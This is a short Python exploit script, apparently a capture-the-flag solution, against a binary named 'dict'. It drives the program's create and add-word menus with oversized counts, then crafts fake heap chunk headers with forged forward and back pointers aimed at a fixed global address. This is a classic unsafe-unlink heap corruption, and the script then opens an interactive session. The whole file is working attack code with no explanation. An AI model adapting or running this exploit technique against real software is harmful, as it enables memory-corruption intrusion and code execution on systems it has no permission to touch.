#!/usr/bin/env python
# encoding:utf-8

from utils import *

# context.log_level = 'debug'

# io = process('./dict')
# io = remote('0.0.0.0', 11111)
io = debug('dict'); io.sendline('set solib-search-path ./'); io.r()

def create_dict(words, words_count=None):
    global io
    if words_count is None:
        words_count = len(words)
    io.sendline('1')
    io.sendline(str(words_count))
    for word in words:
        io.sendline(word)

def add_words(dict_id, words, words_count=None):
    global io
    if words_count is None:
        words_count = len(words)
    io.sendline('2')
    io.sendline(str(dict_id))
    io.sendline(str(words_count))
    for word in words:
        io.sendline(word)

# create_dict(['EEEE'] * 0x100)
# create_dict([])
create_dict([''], 0x200000)
create_dict(['AAAA'] * 3)
create_dict(['BBBB'] * 3)
create_dict(['CCCC'] * 3)
create_dict(['DDDD'] * 3)

word1 = nops(8)
word1 += p32(0x68) # prev size
word1 += p32(0x60 | 1) # cur size
word1 += p32(0x0804A0C0 + 20 - 12) # p->fd = &p - 3
word1 += p32(0x0804A0C0 + 20 - 8) # p->bk = &p - 2

word2 = nops(8)
word2 += p32(0x60) # prev size
word2 += p32(0x68) # cur size

add_words(1, [word1, 'A', 'A', word2, ''], 0x8000000)
add_words(3, ['CCCC'])

io.ext_interactive()
